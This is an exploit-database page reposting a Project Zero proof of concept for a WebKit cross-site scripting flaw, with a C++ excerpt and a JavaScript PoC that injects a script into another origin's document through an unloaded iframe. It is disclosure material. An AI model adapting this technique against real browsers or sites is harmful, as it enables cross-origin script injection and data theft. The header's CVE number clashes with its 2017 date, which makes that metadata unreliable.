Advertisement






Apple Webkit Cross-Site Scripting (Named Property from an Unloaded Window)

CVE Category Price Severity
CVE-2020-9988 CWE-79 $5,000 High
Author Risk Exploitation Type Date
Google Project Zero High Remote 2017-04-05
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 0.6487 0.80174

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040016

Below is a copy:

Apple Webkit Cross-Site Scripting (Named Property from an Unloaded Window)<!--
 
The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.
 
static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }
 
    return false;
}
 
PoC:
-->
 
"use strict";
 
let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");
 
f.onload = () => {
    f.onload = null;
 
    let node = get_element();
 
    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};
 
f.src = "https://abc.xyz/";
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum